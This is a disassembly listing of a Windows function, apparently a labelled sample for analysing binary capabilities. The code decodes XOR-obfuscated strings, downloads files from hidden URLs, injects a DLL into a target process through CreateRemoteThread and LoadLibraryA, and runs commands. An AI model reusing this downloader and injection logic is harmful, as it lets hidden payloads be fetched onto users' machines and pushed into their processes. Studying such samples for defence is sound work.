Function at 0x140001430
Capabilities:
Create directory
Create process on windows
Create thread
Delete file
Download url
Enumerate processes
Execute command
Inject dll
Inject thread
Receive data
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x348]
sub rsp, 0x430
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x2f0], rax
xor r12d, r12d
lea rcx, str.StandKnife.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140001497
lea rcx, str.ERROR
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
jmp 0x1400014a4
lea rcx, str.YESSSS
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov esi, 4
mov rax, qword gs:[0x58]
add rsi, qword [rax]
mov eax, dword [rsi]
cmp dword [0x14000ab0c], eax
jle 0x140001510
lea rcx, [0x14000ab0c]
call fcn.140003ebc
cmp dword [0x14000ab0c], 0xffffffff
jne 0x140001510
mov word [0x14000aaa9], 0x12f
mov dword [0x14000aaa0], 0xc9c84a93
mov dword [0x14000aaa4], 0xedb81851
mov byte [0x14000aaa8], 0xa4
lea rcx, [0x1400050d0]
call fcn.140004198
lea rcx, [0x14000ab0c]
call fcn.140003e50
cmp byte [0x14000aaaa], r12b
je 0x140001566
xor byte [0x14000aaa0], 0xd7
xor byte [0x14000aaa1], 0x2f
xor byte [0x14000aaa2], 0xa9
xor byte [0x14000aaa3], 0xbb
xor byte [0x14000aaa4], 0x71
xor byte [0x14000aaa5], 0x55
xor byte [0x14000aaa6], 0xd7
xor byte [0x14000aaa7], 0x89
xor byte [0x14000aaa8], 0xd7
xor byte [0x14000aaa9], 0x2f
mov byte [0x14000aaaa], r12b
lea rcx, [0x14000aaa0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x70]
call fcn.140003260
nop
movsd xmm0, qword [str.StandKnife.exe]
movsd qword [rbp + 0x1d0], xmm0
mov eax, dword [0x140006730]
mov dword [rbp + 0x1d8], eax
movzx eax, word [0x140006734]
mov word [rbp + 0x1dc], ax
movzx eax, byte [0x140006736]
mov byte [rbp + 0x1de], al
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1df], xmm0
mov byte [rbp + 0x1ef], al
mov eax, dword [rsi]
cmp dword [0x14000a9c0], eax
jle 0x14000162b
lea rcx, [0x14000a9c0]
call fcn.140003ebc
cmp dword [0x14000a9c0], 0xffffffff
jne 0x14000162b
mov dword [0x14000a986], 0x123f9ee
mov dword [0x14000a980], 0x1e230760
mov word [0x14000a984], 0x6415
lea rcx, [0x1400050b0]
call fcn.140004198
lea rcx, [0x14000a9c0]
call fcn.140003e50
cmp byte [0x14000a989], 0
je 0x14000167a
xor byte [0x14000a980], 0x23
xor byte [0x14000a981], 0x3d
xor byte [0x14000a982], 0x7f
xor byte [0x14000a983], 0x7d
xor byte [0x14000a984], 0x7d
xor byte [0x14000a985], 1
xor byte [0x14000a986], 0x8f
xor byte [0x14000a987], 0x8d
xor byte [0x14000a988], 0x23
mov byte [0x14000a989], 0
xor edx, edx
lea rcx, [0x14000a980]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm6, xmmword [0x140006840]
mov word [rsp + 0x50], 0x3fe1
mov eax, dword [rsi]
cmp dword [0x14000a974], eax
jle 0x1400016f4
lea rcx, [0x14000a974]
call fcn.140003ebc
cmp dword [0x14000a974], 0xffffffff
jne 0x1400016f4
mov byte [0x14000aa9a], 1
movups xmmword [0x14000aa88], xmm6
movzx eax, word [rsp + 0x50]
mov word [0x14000aa98], ax
lea rcx, [0x140005060]
call fcn.140004198
lea rcx, [0x14000a974]
call fcn.140003e50
cmp byte [0x14000aa9a], 0
je 0x140001786
xor byte [0x14000aa88], 0x8d
xor byte [0x14000aa89], 0x3f
xor byte [0x14000aa8a], 0x25
xor byte [0x14000aa8b], 0x1b
xor byte [0x14000aa8c], 0xeb
xor byte [0x14000aa8d], 0xe9
xor byte [0x14000aa8e], 0x53
xor byte [0x14000aa8f], 0xf
xor byte [0x14000aa90], 0x8d
xor byte [0x14000aa91], 0x3f
xor byte [0x14000aa92], 0x25
xor byte [0x14000aa93], 0x1b
xor byte [0x14000aa94], 0xeb
xor byte [0x14000aa95], 0xe9
xor byte [0x14000aa96], 0x53
xor byte [0x14000aa97], 0xf
xor byte [0x14000aa98], 0x8d
xor byte [0x14000aa99], 0x3f
mov byte [0x14000aa9a], 0
movdqa xmm6, xmmword [0x140006870]
movdqa xmm7, xmmword [0x140006850]
movdqa xmm8, xmmword [0x140006860]
mov eax, dword [rsi]
cmp dword [0x14000aa0c], eax
jle 0x1400017f5
lea rcx, [0x14000aa0c]
call fcn.140003ebc
cmp dword [0x14000aa0c], 0xffffffff
jne 0x1400017f5
mov word [0x14000aa78], 0x18d
movups xmmword [0x14000aa48], xmm6
movups xmmword [0x14000aa58], xmm7
movups xmmword [0x14000aa68], xmm8
lea rcx, [0x140005080]
call fcn.140004198
lea rcx, [0x14000aa0c]
call fcn.140003e50
lea rcx, [0x14000aa48]
call fcn.1400036a0
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [0x14000aa88]
lea rdx, [0x14000aa48]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x1400018ff
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov eax, dword [rsi]
cmp dword [0x14000a9bc], eax
jle 0x140001883
lea rcx, [0x14000a9bc]
call fcn.140003ebc
cmp dword [0x14000a9bc], 0xffffffff
jne 0x140001883
mov dword [0x14000aa08], 0x1eb7352
mov dword [0x14000aa00], 0xaf877b73
mov dword [0x14000aa04], 0x39a851da
lea rcx, [0x140005040]
call fcn.140004198
lea rcx, [0x14000a9bc]
call fcn.140003e50
cmp byte [0x14000aa0b], 0
je 0x1400018e0
xor byte [0x14000aa00], 0x37
xor byte [0x14000aa01], 0x17
xor byte [0x14000aa02], 0xeb
xor byte [0x14000aa03], 0x8f
xor byte [0x14000aa04], 0xb3
xor byte [0x14000aa05], 0x3f
xor byte [0x14000aa06], 0xc1
xor byte [0x14000aa07], 0x4d
xor byte [0x14000aa08], 0x37
xor byte [0x14000aa09], 0x17
xor byte [0x14000aa0a], 0xeb
mov byte [0x14000aa0b], 0
lea rdx, [0x14000aa00]
mov rcx, rbx
call fcn.140003870
lea rdx, [0x140003a40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rsi]
cmp dword [0x14000aa18], eax
jle 0x140001969
lea rcx, [0x14000aa18]
call fcn.140003ebc
cmp dword [0x14000aa18], 0xffffffff
jne 0x140001969
mov dword [0x14000a99c], 0x1778adf
mov dword [0x14000a990], 0x71c44f6c
mov dword [0x14000a994], 0xf219a4c3
mov dword [0x14000a998], 0x7a8b5e59
lea rcx, [0x140004ff0]
call fcn.140004198
lea rcx, [0x14000aa18]
call fcn.140003e50
cmp byte [0x14000a99f], 0
je 0x1400019e2
xor byte [0x14000a990], 0x3f
xor byte [0x14000a991], 0x3b
xor byte [0x14000a992], 0xa5
xor byte [0x14000a993], 0x1f
xor byte [0x14000a994], 0xa7
xor byte [0x14000a995], 0xef
xor byte [0x14000a996], 0x77
xor byte [0x14000a997], 0x9b
xor byte [0x14000a998], 0x3f
xor byte [0x14000a999], 0x3b
xor byte [0x14000a99a], 0xa5
xor byte [0x14000a99b], 0x1f
xor byte [0x14000a99c], 0xa7
xor byte [0x14000a99d], 0xef
xor byte [0x14000a99e], 0x77
mov byte [0x14000a99f], 0
movdqa xmm6, xmmword [0x140006890]
movdqa xmm7, xmmword [0x1400068a0]
movdqa xmm8, xmmword [0x1400068b0]
mov dword [rsp + 0x70], 0x6b8b5e59
mov word [rsp + 0x74], 0x9bdf
mov eax, dword [rsi]
cmp dword [0x14000a96c], eax
jle 0x140001a76
lea rcx, [0x14000a96c]
call fcn.140003ebc
cmp dword [0x14000a96c], 0xffffffff
jne 0x140001a76
mov word [0x14000ab06], 0x177
movups xmmword [0x14000aad0], xmm6
movups xmmword [0x14000aae0], xmm7
movups xmmword [0x14000aaf0], xmm8
mov eax, dword [rsp + 0x70]
mov dword [0x14000ab00], eax
movzx eax, word [rsp + 0x74]
mov word [0x14000ab04], ax
lea rcx, [0x140005010]
call fcn.140004198
lea rcx, [0x14000a96c]
call fcn.140003e50
lea rcx, [0x14000aad0]
call fcn.1400035b0
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [0x14000a990]
lea rdx, [0x14000aad0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140001c44
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm6, xmmword [0x140006880]
mov dword [rsp + 0x50], 0x39e33490
mov eax, dword [rsi]
cmp dword [0x14000a970], eax
jle 0x140001b0e
lea rcx, [0x14000a970]
call fcn.140003ebc
cmp dword [0x14000a970], 0xffffffff
jne 0x140001b0e
mov byte [0x14000aac4], 1
movups xmmword [0x14000aab0], xmm6
mov eax, dword [rsp + 0x50]
mov dword [0x14000aac0], eax
lea rcx, [0x140004fd0]
call fcn.140004198
lea rcx, [0x14000a970]
call fcn.140003e50
cmp byte [0x14000aac4], 0
je 0x140001bae
xor byte [0x14000aab0], 0xe3
xor byte [0x14000aab1], 0x51
xor byte [0x14000aab2], 0x87
xor byte [0x14000aab3], 0x39
xor byte [0x14000aab4], 0xe1
xor byte [0x14000aab5], 0xb9
xor byte [0x14000aab6], 0x8d
xor byte [0x14000aab7], 0x91
xor byte [0x14000aab8], 0xe3
xor byte [0x14000aab9], 0x51
xor byte [0x14000aaba], 0x87
xor byte [0x14000aabb], 0x39
xor byte [0x14000aabc], 0xe1
xor byte [0x14000aabd], 0xb9
xor byte [0x14000aabe], 0x8d
xor byte [0x14000aabf], 0x91
xor byte [0x14000aac0], 0xe3
xor byte [0x14000aac1], 0x51
xor byte [0x14000aac2], 0x87
xor byte [0x14000aac3], 0x39
mov byte [0x14000aac4], 0
lea rdx, [0x14000aab0]
mov rcx, rbx
call fcn.140003870
lea rdx, [0x140003a40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 8
call fcn.140003f34
lea rcx, [0x140001320]
mov qword [rax], rcx
mov qword [rbp - 0x80], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140003da0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140001cca
cmp dword [rsp + 0x48], 0
je 0x140001cbe
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140001cbe
mov ecx, 0x3e7
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov edi, r12d
lea rdx, [rbp + 0xa0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140001ce1
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x140001ce1
nop dword [rax + rax]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xcc]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001cdb
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001c90
jmp 0x140001ce1
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x48], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov edi, dword [rbp + 0xa8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm6, xmmword [str.0_nd_a_GB]
mov dword [rsp + 0x50], 0x77f0a13
mov dword [rsp + 0x54], 0x6dd9876b
mov eax, dword [rsi]
cmp dword [0x14000a968], eax
jle 0x140001d57
lea rcx, [0x14000a968]
call fcn.140003ebc
cmp dword [0x14000a968], 0xffffffff
jne 0x140001d57
mov word [0x14000a9b8], 0x167
movups xmmword [0x14000a9a0], xmm6
movsd xmm0, qword [rsp + 0x50]
movsd qword [0x14000a9b0], xmm0
lea rcx, [0x140004fb0]
call fcn.140004198
lea rcx, [0x14000a968]
call fcn.140003e50
cmp byte [0x14000a9b9], 0
je 0x140001e1a
xor byte [0x14000a9a0], 0x67
xor byte [0x14000a9a1], 0x6b
xor byte [0x14000a9a2], 0xd
xor byte [0x14000a9a3], 0x73
xor byte [0x14000a9a4], 0x45
xor byte [0x14000a9a5], 0xa9
xor byte [0x14000a9a6], 0xf7
xor byte [0x14000a9a7], 0x67
xor byte [0x14000a9a8], 0x67
xor byte [0x14000a9a9], 0x6b
xor byte [0x14000a9aa], 0xd
xor byte [0x14000a9ab], 0x73
xor byte [0x14000a9ac], 0x45
xor byte [0x14000a9ad], 0xa9
xor byte [0x14000a9ae], 0xf7
xor byte [0x14000a9af], 0x67
xor byte [0x14000a9b0], 0x67
xor byte [0x14000a9b1], 0x6b
xor byte [0x14000a9b2], 0xd
xor byte [0x14000a9b3], 0x73
xor byte [0x14000a9b4], 0x45
xor byte [0x14000a9b5], 0xa9
xor byte [0x14000a9b6], 0xf7
xor byte [0x14000a9b7], 0x67
xor byte [0x14000a9b8], 0x67
mov byte [0x14000a9b9], 0
lea rdx, [rbp + 0x1d0]
lea rcx, [0x14000a9a0]
call fcn.140001020
nop dword [rax]
test edi, edi
jne 0x140001eda
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov edi, r12d
lea rdx, [rbp + 0xa0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140001ebf
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x140001ebf
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xcc]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001eb9
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001e71
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, r12d
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001e30
mov edi, dword [rbp + 0xa8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x140001eda
lea ecx, [rdi + 0x32]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001e30
mov ecx, 0x3e7
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm6, xmmword [0x140006800]
mov word [rsp + 0x50], 0x17d9
mov eax, dword [rsi]
cmp dword [0x14000aa80], eax
jle 0x140001f45
lea rcx, [0x14000aa80]
call fcn.140003ebc
cmp dword [0x14000aa80], 0xffffffff
jne 0x140001f45
mov byte [0x14000ab22], 1
movups xmmword [0x14000ab10], xmm6
movzx eax, word [rsp + 0x50]
mov word [0x14000ab20], ax
lea rcx, [0x140004f90]
call fcn.140004198
lea rcx, [0x14000aa80]
call fcn.140003e50
cmp byte [0x14000ab22], 0
je 0x140001fd7
xor byte [0x14000ab10], 0xb5
xor byte [0x14000ab11], 0x17
xor byte [0x14000ab12], 0xfb
xor byte [0x14000ab13], 0xbf
xor byte [0x14000ab14], 0xd1
xor byte [0x14000ab15], 0xfb
xor byte [0x14000ab16], 0xdf
xor byte [0x14000ab17], 0x6b
xor byte [0x14000ab18], 0xb5
xor byte [0x14000ab19], 0x17
xor byte [0x14000ab1a], 0xfb
xor byte [0x14000ab1b], 0xbf
xor byte [0x14000ab1c], 0xd1
xor byte [0x14000ab1d], 0xfb
xor byte [0x14000ab1e], 0xdf
xor byte [0x14000ab1f], 0x6b
xor byte [0x14000ab20], 0xb5
xor byte [0x14000ab21], 0x17
mov byte [0x14000ab22], 0
xor r9d, r9d
lea r8, [rbp + 0x1f0]
mov edx, pe_nt_image_headers64
lea rcx, [0x14000ab10]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x140002491
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140002491
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rax, [rbp + 0x1f0]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140002053
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
lea rax, [rbp + 0x1f0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002080
mov r9, rbx
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1f0]
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r14
mov r9, r15
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm6, xmmword [0x140006810]
mov dword [rsp + 0x50], 0x6651745f
mov dword [rsp + 0x54], 0x6f3268e1
mov eax, dword [rsi]
cmp dword [0x14000a978], eax
jle 0x140002138
lea rcx, [0x14000a978]
call fcn.140003ebc
cmp dword [0x14000a978], 0xffffffff
jne 0x140002138
mov byte [0x14000a9f8], 1
movups xmmword [0x14000a9e0], xmm6
movsd xmm0, qword [rsp + 0x50]
movsd qword [0x14000a9f0], xmm0
lea rcx, [0x140004f50]
call fcn.140004198
lea rcx, [0x14000a978]
call fcn.140003e50
cmp byte [0x14000a9f8], 0
je 0x1400021f4
xor byte [0x14000a9e0], 0x2d
xor byte [0x14000a9e1], 7
xor byte [0x14000a9e2], 0x25
xor byte [0x14000a9e3], 0x13
xor byte [0x14000a9e4], 0x85
xor byte [0x14000a9e5], 1
xor byte [0x14000a9e6], 0x5d
xor byte [0x14000a9e7], 0x6f
xor byte [0x14000a9e8], 0x2d
xor byte [0x14000a9e9], 7
xor byte [0x14000a9ea], 0x25
xor byte [0x14000a9eb], 0x13
xor byte [0x14000a9ec], 0x85
xor byte [0x14000a9ed], 1
xor byte [0x14000a9ee], 0x5d
xor byte [0x14000a9ef], 0x6f
xor byte [0x14000a9f0], 0x2d
xor byte [0x14000a9f1], 7
xor byte [0x14000a9f2], 0x25
xor byte [0x14000a9f3], 0x13
xor byte [0x14000a9f4], 0x85
xor byte [0x14000a9f5], 1
xor byte [0x14000a9f6], 0x5d
xor byte [0x14000a9f7], 0x6f
mov byte [0x14000a9f8], 0
mov eax, dword [rsi]
cmp dword [0x14000ab08], eax
jle 0x14000223e
lea rcx, [0x14000ab08]
call fcn.140003ebc
cmp dword [0x14000ab08], 0xffffffff
jne 0x14000223e
mov dword [0x14000a9da], 0x1857d40
mov word [0x14000a9d8], 0x7742
lea rcx, [0x140004f70]
call fcn.140004198
lea rcx, [0x14000ab08]
call fcn.140003e50
cmp byte [0x14000a9dd], 0
je 0x140002271
xor byte [0x14000a9d8], 0x2d
xor byte [0x14000a9d9], 7
xor byte [0x14000a9da], 0x25
xor byte [0x14000a9db], 0x13
xor byte [0x14000a9dc], 0x85
mov byte [0x14000a9dd], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [0x14000a9e0]
lea rdx, [0x14000a9d8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm6, xmmword [0x140006830]
mov dword [rsp + 0x50], 0xbf5f5c4b
mov dword [rsp + 0x54], 0x3e9dea38
mov dword [rsp + 0x58], 0xd53b140f
mov eax, dword [rsi]
cmp dword [0x14000aa7c], eax
jle 0x140002314
lea rcx, [0x14000aa7c]
call fcn.140003ebc
cmp dword [0x14000aa7c], 0xffffffff
jne 0x140002314
mov byte [0x14000aa3c], 1
movups xmmword [0x14000aa20], xmm6
movsd xmm0, qword [rsp + 0x50]
movsd qword [0x14000aa30], xmm0
mov eax, dword [rsp + 0x58]
mov dword [0x14000aa38], eax
lea rcx, [0x140004f30]
call fcn.140004198
lea rcx, [0x14000aa7c]
call fcn.140003e50
cmp byte [0x14000aa3c], 0
je 0x1400023ec
xor byte [0x14000aa20], 0x6b
xor byte [0x14000aa21], 0x35
xor byte [0x14000aa22], 0x31
xor byte [0x14000aa23], 0xd5
xor byte [0x14000aa24], 0x5d
xor byte [0x14000aa25], 0x89
xor byte [0x14000aa26], 0xe9
xor byte [0x14000aa27], 0x5b
xor byte [0x14000aa28], 0x6b
xor byte [0x14000aa29], 0x35
xor byte [0x14000aa2a], 0x31
xor byte [0x14000aa2b], 0xd5
xor byte [0x14000aa2c], 0x5d
xor byte [0x14000aa2d], 0x89
xor byte [0x14000aa2e], 0xe9
xor byte [0x14000aa2f], 0x5b
xor byte [0x14000aa30], 0x6b
xor byte [0x14000aa31], 0x35
xor byte [0x14000aa32], 0x31
xor byte [0x14000aa33], 0xd5
xor byte [0x14000aa34], 0x5d
xor byte [0x14000aa35], 0x89
xor byte [0x14000aa36], 0xe9
xor byte [0x14000aa37], 0x5b
xor byte [0x14000aa38], 0x6b
xor byte [0x14000aa39], 0x35
xor byte [0x14000aa3a], 0x31
xor byte [0x14000aa3b], 0xd5
mov byte [0x14000aa3c], 0
lea rcx, [0x14000aa20]
call fcn.140001020
mov eax, dword [rsi]
cmp dword [0x14000aac8], eax
jle 0x140002449
lea rcx, [0x14000aac8]
call fcn.140003ebc
cmp dword [0x14000aac8], 0xffffffff
jne 0x140002449
mov word [0x14000a965], 0x107
mov dword [0x14000a960], 0xc62098eb
mov byte [0x14000a964], 0x72
lea rcx, [0x140004f10]
call fcn.140004198
lea rcx, [0x14000aac8]
call fcn.140003e50
cmp byte [0x14000a966], 0
je 0x140002483
xor byte [0x14000a960], 0x9b
xor byte [0x14000a961], 0xf9
xor byte [0x14000a962], 0x55
xor byte [0x14000a963], 0xb5
xor byte [0x14000a964], 0x17
xor byte [0x14000a965], 7
mov byte [0x14000a966], 0
lea rcx, [0x14000a960]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x70], rax
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
call fcn.140003180
lea rcx, [rbp - 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x2f0]
xor rcx, rsp
call fcn.140003e30
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret